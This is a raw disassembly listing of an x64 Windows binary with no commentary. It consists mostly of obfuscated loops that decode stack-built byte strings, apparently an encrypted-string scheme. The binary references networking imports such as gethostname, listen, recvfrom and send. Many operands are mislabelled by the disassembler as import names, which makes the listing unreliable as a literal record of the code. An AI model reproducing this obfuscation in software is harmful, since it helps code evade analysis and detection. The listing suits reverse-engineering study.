mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14010450e
movabs rdx, 0xdb5562bec7762b90
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1401047f4
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14010453e
movabs rcx, 0x93d944531658a1e8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
add rbx, r9
jmp 0x1401047b7
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140104575
movabs rdx, 0x4c5d25e7653b1840
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140103aa6
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140103fbf
movabs rdx, 0x289f16b18cac536c
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r9
dec r10
inc r10
jmp 0x140103aa6
movabs rdx, 0xbd64e910030004f0
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x150]
add dil, dl
add dil, r11b
jmp 0x140104763
movabs rdx, 0x99a6d9da2a71401c
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x150]
add dil, dl
add dil, r11b
jmp 0x1401047f4
movabs rdx, 0xc705d766012001da
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
movabs rdx, 0xe81f5d1b23d8b82
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1401047f4
movabs rcx, 0x324005078acc5056
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5a
add r11b, cl
movzx edi, r11b
jmp 0x1401047b7
movabs rcx, 0x55fe143d635b152a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x26
add rbx, r9
jmp 0x1401047b7
movabs rdx, 0x9d7a32a914789ed2
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140103aa6
movabs rcx, 0xe4f65114c596287a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x56
movabs rcx, 0x4f43f0aaef47675a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x76
add cl, r11b
mov byte [rbp + r10 + 0x150], cl
inc r9
dec r10
inc r10
jmp 0x140103aa6
movabs rcx, 0x97ac9d220060009e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
movabs rcx, 0x2b85e17516b8a286
add rcx, r10
movzx eax, cl
and al, r11b
mov edx, Ordinal_46
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dil
mov byte [rbp + r10 + 0x150], dl
add rbx, r9
jmp 0x1401047b7
movabs rdx, 0xdf28bb8db17d8a46
add rdx, r10
movzx eax, dl
and al, r8b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140103aa6
mov r11, r8
movabs rcx, 0x2e6cac38a0c4f1a
add rcx, r10
and r8b, cl
mov eax, Ordinal_41
sub al, r8b
lea edi, [rax + rax]
add dil, r11b
add dil, cl
movabs rdx, 0x7c7d23f3e29ddb2
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x150], al
inc r9
add rax, r9
sub r10, rax
movabs rdx, 0x75e8caa451e27b48
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
movabs rcx, 0x4a62e92f3b29d8c2
add rcx, r10
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4e
movzx eax, byte [rbp + r10 + 0x150]
add rax, r9
add r10, rax
inc r10
jmp 0x140103aa6
movabs rdx, 0x37210c833ee9deee
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140103aa3
movabs rcx, 0x5adf1bb91778a3c2
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4e
jmp 0x140103a93
lea rdx, [rbp + 0x149e218]
jmp 0x140104914
lea rdx, [rbp + 0x1027fae]
jmp 0x140104914
lea rdx, [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xor eax, eax
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], rax
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], al
jne 0x140104935
lea rcx, [rbp + 0x130]
call fcn.140047180
lea rcx, [rbp + 0x130]
call fcn.1400e05a0
jmp 0x1401073bf
mov byte [rbp + 0x400], 0xba
mov byte [rbp + 0x401], 0x79
mov byte [rbp + 0x402], 0xc9
mov byte [rbp + 0x403], 0x7b
mov byte [rbp + 0x404], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x405], 0x7d
mov byte [rbp + 0x406], Ordinal_217
mov byte [rbp + 0x407], 0x7f
mov byte [rbp + 0x408], Ordinal_200
mov byte [rbp + 0x409], WSACleanup
mov byte [rbp + 0x40a], Ordinal_211
mov byte [rbp + 0x40b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x40c], 0xcb
mov byte [rbp + 0x40d], 0x75
mov byte [rbp + 0x40e], __WSAFDIsSet
mov byte [rbp + 0x40f], 0x77
mov byte [rbp + 0x410], Ordinal_200
mov byte [rbp + 0x411], Ordinal_79
mov byte [rbp + 0x412], 0xf0
mov byte [rbp + 0x413], Ordinal_79
mov byte [rbp + 0x414], 0xed
mov byte [rbp + 0x415], Ordinal_79
mov byte [rbp + 0x416], 0xac
mov byte [rbp + 0x417], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x418], 0xea
mov byte [rbp + 0x419], 0x41
mov byte [rbp + 0x41a], 0xf2
mov byte [rbp + 0x41b], 0x43
mov byte [rbp + 0x41c], 0xf9
mov byte [rbp + 0x41d], 0x45
mov byte [rbp + 0x41e], 0xf2
mov byte [rbp + 0x41f], 0x47
mov byte [rbp + 0x420], 0xe1
mov byte [rbp + 0x421], 0x59
mov byte [rbp + 0x422], 0xea
mov byte [rbp + 0x423], 0x5b
mov byte [rbp + 0x424], 0xef
mov byte [rbp + 0x425], 0x5d
mov byte [rbp + 0x426], 0x5c
mov byte [rbp + 0x427], 0x5f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x428], xmm0
mov dword [rbp + 0x438], eax
mov word [rbp + 0x43c], ax
mov byte [rbp + 0x43e], al
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r9, qword [rax]
xor r10d, r10d
cmp r10, 0x3f
jae 0x14010569b
movzx r11d, byte [rbp + r10 + 0x400]
mov r8d, r11d
mov rdx, qword [rbp + 0x548]
cmp rbx, r10
ja 0x140105692
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140104afd
movabs rcx, 0x706e08c99418960f
add rcx, r10
mov rax, rcx
and rax, r8
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r8
sub dl, 0x69
mov qword [rbp + 0x548], rdx
jmp 0x140104b30
je 0x1401055f4
lea rax, [r9 + 3]
cmp rbx, rax
je 0x140105548
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401054e1
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401054b1
nop word [rax + rax]
cmp r9, r10
ja 0x140105689
lea rax, [r9 + 9]
cmp rbx, rax
jae 0x140104b62
movabs rcx, 0x3906b88926044f3b
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x63
jmp 0x140104ba3
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140105457
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140105424
lea rax, [r9 + 5]
cmp rbx, rax
je 0x140105401
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401053d7
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401053ad
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140105079
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x140105056
lea rax, [r9 + 6]
cmp rbx, rax
je 0x140105020
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140104fed
lea rax, [r9 + 0x61]
cmp rbx, rax
je 0x140104fc7
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140104fa4
lea rax, [r9 + 0x28]
cmp rbx, rax
je 0x140104f7e
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140104bb0
lea rbx, [r9 + 0xa]
lea r9, [rbx + 2]
lea rax, [r9 + 4]
cmp rbx, rax
jb 0x14010565a
lea rax, [r9 + 0x64]
cmp rbx, rax
jb 0x140105630
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x140104d43
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140104d19
lea rax, [r9 + 0x2a]
cmp rbx, rax
jb 0x140104cf6
lea rax, [r9 + 0x1000]
cmp rbx, rax
jb 0x140104ebd
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x140104bb0
lea rbx, [r9 + 0x3e8]
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x40]
cmp rbx, rax
ja 0x140104e9a
lea rax, [r9 + 9]
cmp rbx, rax
ja 0x140104e70
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140104e4a
lea rax, [r9 + 0x42]
cmp rbx, rax
ja 0x140104e1d
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x140104df7
lea rax, [r9 + 4]
cmp rbx, rax
ja 0x140104dd4
lea rax, [r9 + 0x5a]
cmp rbx, rax
ja 0x140104da4
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140104d71
lea rbx, [r9 + 2]
lea r9, [rbx + 4]
jmp 0x140104bb0
movabs rcx, 0xbbec57369597a25
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
jmp 0x140104ba3
movabs rcx, 0x2ae2b3e041284e07
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x31
mov qword [rbp + 0x548], rdx
jmp 0x140104b30
movabs rcx, 0x4a06a24d18f721e9
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5f
mov qword [rbp + 0x548], rdx
movzx r8d, r11b
jmp 0x140104ac2
movabs rcx, 0xe759b2b607f14dba
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0x67da122dfc0219c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0x25a18f8fb78ef57e
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x72
jmp 0x1401054ff
movabs rdx, 0x44c57dfc8f5dc960
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140105526
movabs rdx, 0x63e96c69672c9d42
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rbp + 0x548], rdx
jmp 0x140105530
movabs rdx, 0x830d5ad63efb7124
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14010556b
movabs rcx, 0xa231494316ca4506
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2a
mov qword [rbp + 0x548], rdx
jmp 0x1401055a6
movabs rcx, 0xc15537afee9918e8
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x140105612
movabs rcx, 0xec9ad706918aa643
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2b
lea rax, [r9 + rbx]
cmp rax, 0x40
je 0x140105382
lea rax, [r9 + 0x64]
cmp rbx, rax
jbe 0x14010513b
movabs rcx, 0xca38180849dbc193
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 5
cmp rbx, 6
jae 0x140105354
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x14010523d
movabs rdx, 0x33ed0916fe010ce
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x64
jb 0x14010533d
movabs rcx, 0xcbd7805101cbc9fa
add rcx, r10
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x140105475
movabs rdx, 0x56285336e419db62
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x140105612
movabs rcx, 0xd2b80cea43552aea
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
jmp 0x140105526
movabs rdx, 0xf1dbfb571b23fecc
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401054ff
movabs rdx, 0x10ffe9c3f2f2d2ae
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rdx, 0x3023d830cac1a690
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0x4f47c69da2907a72
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1e
jmp 0x140105475
lea rax, [r9 + 0x5a]
cmp rbx, rax
jae 0x1401050a5
movabs rcx, 0x706e08c99418960f
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x69
jmp 0x140104edb
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401050d1
movabs rcx, 0x720d71124c089e76
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3a
jmp 0x140105612
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401050fe
movabs rdx, 0x33c594389c6af6b2
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140105569
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140104edb
movabs rcx, 0xb735da853d2fa72a
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x26
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140105167
movabs rcx, 0xab14299b720cedb1
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x29
jmp 0x140105475
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401051a3
movabs rcx, 0x8bf03b2e9a3e19cf
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x57
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401051e1
movabs rcx, 0x6ccc4cc1c26f45ed
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x7b
add r11b, cl
movzx edx, r11b
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14010520d
movabs rcx, 0xf03c930e6333f665
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
jmp 0x14010556b
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140104f14
movabs rcx, 0xb1f4b634b3964ea1
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x67
jmp 0x140105612
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x140105269
movabs rcx, 0xe41ae22498113cec
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x74
jmp 0x140105612
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x140105295
movabs rcx, 0xa5d3054ae8739528
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
jmp 0x14010556b
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401052c4
movabs rdx, 0x48673a0461071982
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1401054ff
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401052fd
movabs rcx, 0x29434b97893845a0
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x60
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140104f4c
movabs rcx, 0xa1f5d2ab16971be
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
mov byte [rbp + r10 + 0x400], dl
mov qword [rbp + 0x548], rdx
inc r10
jmp 0x140104aa5
movabs rdx, 0xacb391e429fcf618
add rdx, r10
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, byte [rbp + r10 + 0x400]
add dl, cl
add dl, r11b
jmp 0x1401054ff
movabs rcx, 0x8d8fa377522e2236
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x400]
lea edx, [r11 + rcx]
sub dl, 0x7a
jmp 0x14010556b
movabs rcx, 0x3fe74522678db02b
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x2d
mov qword [rbp + 0x548], rdx
jmp 0x1401055a6
movabs rcx, 0x7e2f21fc172b57ef
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x77
mov qword [rbp + 0x548], rdx
jmp 0x140105530
movabs rcx, 0x9d531068eefa2bd1
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x49
jmp 0x140105526
movabs rcx, 0xfabedbaf7666a777
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x41
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0x19e2ca1c4e357b59
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6f
movabs rcx, 0x3c45891a95e46009
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x3f
add r11b, cl
mov byte [rbp + r10 + 0x400], r11b
inc r9
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0x967283cfad70cae1
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x27
mov qword [rbp + 0x548], rdx
dec r10
inc r10
jmp 0x140104aa5
movabs rcx, 0xb596723c853f9ec3
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x55
movabs rcx, 0x1d219aadbe158c27
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x11
add cl, r11b
add cl, dl
mov byte [rbp + r10 + 0x400], cl
mov qword [rbp + 0x548], rdx
add rbx, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140104aa5
mov r11, r8
movabs rdx, 0x13023d830cac1a69
add rdx, r10
movzx eax, dl
and al, r8b
add al, al
movzx ecx, r8b
sub cl, al
add dl, 0x21
add dl, cl
mov qword [rbp + 0x548], rdx
movabs rdx, 0xfdfdac40e646b845
add rdx, r10
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x1d
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x400], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0x6e6bb50a7a5f4e54
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4c
add r11b, cl
mov byte [rbp + r10 + 0x400], r11b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x400]
add rax, r9
add r10, rax
inc r10
jmp 0x140104aa5
movabs rcx, 0x514a1a5cbc49c22d
add rcx, r10
movzx eax, r8b
and al, cl
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x3b
mov qword [rbp + 0x548], rdx
movzx eax, byte [rbp + r10 + 0x400]
add rax, r9
add r10, rax
inc r10
jmp 0x140104aa5
movabs rcx, 0x692a90b9f0c5f5cb
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x73
mov qword [rbp + 0x548], rdx
jmp 0x140104aa2
movabs rcx, 0x884e7f26c894c9ad
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x45
add r11b, cl
movzx edx, r11b
mov qword [rbp + 0x548], rdx
jmp 0x140104a92
lea rcx, [rbp + 0x144d614]
jmp 0x1401056a2
lea rcx, [rbp + 0x15d6c23]
jmp 0x1401056a2
lea rcx, [rbp + 0x400]
call fcn.1400e0150
cmp byte [0x140437460], 0
je 0x140108fa4
call fcn.1400f2990
cmp byte [0x140437460], 0
je 0x140108fa4
lea rcx, [0x140437790]
call fcn.1400c9be0
test al, al
jne 0x140107465
cmp byte [0x140437460], al
je 0x140108fa4
mov byte [rbp + 0x350], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x351], gethostname
mov byte [rbp + 0x352], Ordinal_60
mov byte [rbp + 0x353], Ordinal_211
mov byte [rbp + 0x354], 0x3d
mov byte [rbp + 0x355], Ordinal_50
mov byte [rbp + 0x356], 0x7c
mov byte [rbp + 0x357], recvfrom
mov byte [rbp + 0x358], Ordinal_50
mov byte [rbp + 0x359], Ordinal_60
mov byte [rbp + 0x35a], Ordinal_41
mov byte [rbp + 0x35b], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x35c], Ordinal_46
mov byte [rbp + 0x35d], Ordinal_46
mov byte [rbp + 0x35e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x35f], reloc.WS2_32.dll_send
mov byte [rbp + 0x360], Ordinal_211
mov byte [rbp + 0x361], WSACleanup
mov byte [rbp + 0x362], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x363], xmm0
mov qword [rbp + 0x373], rax
mov dword [rbp + 0x37b], eax
mov byte [rbp + 0x37f], al
nop word [rax + rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x140106530
movzx r10d, byte [rbp + r9 + 0x350]
mov rdx, r10
nop dword [rax]
cmp rbx, r9
ja 0x140106527
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1401057f6
movabs r11, 0xca000cc3892331cb
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
add r14b, 0x73
jmp 0x140105840
je 0x1401064a0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1401063fd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1401063c1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140106396
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140106342
movabs r11, 0xca000cc3892331cb
nop word [rax + rax]
cmp r8, r9
ja 0x14010651e
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140105877
movabs rdx, 0x92010c0a3fe315a7
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r14d, r10b
sub r14b, al
add r14b, 0x6f
add r14b, dl
jmp 0x1401058b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14010631d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1401062f2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1401062cd
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1401062a5
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x140105f37
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140105f0e
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140105edc
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140105ead
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140105e8a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140105e61
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140105e3c
lea rcx, [r8 + 0x400]
cmp rbx, rcx
je 0x140105e14
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140105dec
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140105db5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1401058c0
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x1401064f9
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1401064d5
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x140105ac9
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140105aa1
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140105a79
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140105d50
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140105cf1
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x140105c9e
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140105c6e
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x1401058c0
lea rbx, [r8 + 1]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140105c33
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140105c0a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140105be1
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140105bbc
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140105b97
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140105b72
lea rcx, [r8 + 0x200]
cmp rbx, rcx
ja 0x140105b47
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140105b19
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140105af0
lea rax, [r8 + 5]
